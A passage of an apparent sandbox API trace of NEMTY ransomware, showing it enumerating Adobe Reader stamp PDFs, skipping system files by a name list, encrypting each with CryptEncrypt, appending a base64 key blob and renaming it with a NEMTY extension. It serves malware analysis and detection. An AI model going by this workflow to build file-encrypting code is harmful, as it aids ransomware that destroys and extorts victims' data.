hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.920] Sleep (dwMilliseconds=0x5) [0189.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24da4950, dwHighDateTime=0x1d561e8)) [0189.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24da4950, dwHighDateTime=0x1d561e8)) [0189.928] GetLastError () returned 0xb7 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.928] GetLastError () returned 0xb7 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.928] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.928] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.928] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="siBbA+pSeIA04Rh8T2UOXw8SShga8LbssbuZsKTWwHEIjSm7qMAlactZ8Z0epfgo\r\nta4lY6yoRTz3QUqXjADPuO3nlX+xL/+HbaojgmPvXZQeeeWyWmcRGLpPAU/OuW67\r\nZm9wMLtjbwXTrOi2ApF+PIMZ8fJ02n1njyd/CNYOFuAl/7czDT7OHlbKbdz3BmRa\r\nbhzbJgTnfBajSdgWfDGpXIKUu1iVMXzkV7rGJCw7gWiZM2/eK72sPl4NWRg5tXPR\r\nSDmgppk0FsxjcSIn6PFrDSFTpLUzHlKyH1+PRBk+9THSpWKy0HVDGSqmAiYxkHiI\r\nfdhseuTewal7V8wEU7PPuA==\r\n", pcchString=0x653df5c) returned 1 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.928] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.929] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=59361) returned 1 [0189.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe7e0) returned 0x6352c48 [0189.929] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.929] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xe7e0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xe7e0, lpOverlapped=0x0) returned 1 [0189.934] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.934] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xe7e0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xe7e0, lpOverlapped=0x0) returned 1 [0189.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.935] SetFilePointer (in: hFile=0x320, lDistanceToMove=59361, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7e1 [0189.935] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.935] CloseHandle (hObject=0x320) returned 1 [0189.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.935] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.935] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.935] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.936] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.936] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbb, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.936] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0189.937] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0189.937] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0189.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0189.937] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0189.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.937] Sleep (dwMilliseconds=0x5) [0189.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24dcaab0, dwHighDateTime=0x1d561e8)) [0189.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24dcaab0, dwHighDateTime=0x1d561e8)) [0189.944] GetLastError () returned 0x0 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.944] GetLastError () returned 0x0 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.944] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.944] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.944] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.944] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="b7mwilIk8jozEnHxl8It4y4jKrAFOxmh9o5UQgNXlN0pQ4Z/FsrI8HPr8RVtF+D5\r\nnokFZjIq1RMiyFITQ+g1OgdHx9K8gKniJAm6UIYNRdUd1l6E1GvhnuujL7q6clfX\r\njNmJuJMYfPuBxV9jt5DAcHLNLawvUGDgQwiHzZ2gumIz7IYmlwIh7Ek4qGUnNo2S\r\nhrt0muJp7SU3gKr2u02+8x4BPA25T6/tLoYWfmcnU6LLYHfw+eznpkcVCXYXsO9O\r\nBjj+zaW4MevSXbfvdhY1/hTjHd9512KKZcjxJfXRgRh+mKUYdArk2G2x1N88460k\r\nlLDIFcdKhtN8pVscTgiyaQ==\r\n", pcchString=0x653df5c) returned 1 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.945] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=40123) returned 1 [0189.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9cb0) returned 0x6352c48 [0189.945] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.945] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9cb0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x9cb0, lpOverlapped=0x0) returned 1 [0189.949] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.949] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9cb0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x9cb0, lpOverlapped=0x0) returned 1 [0189.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.949] SetFilePointer (in: hFile=0x320, lDistanceToMove=40123, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9cbb [0189.949] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.949] CloseHandle (hObject=0x320) returned 1 [0189.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404f8 [0189.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442e8 [0189.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.950] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.951] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.951] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 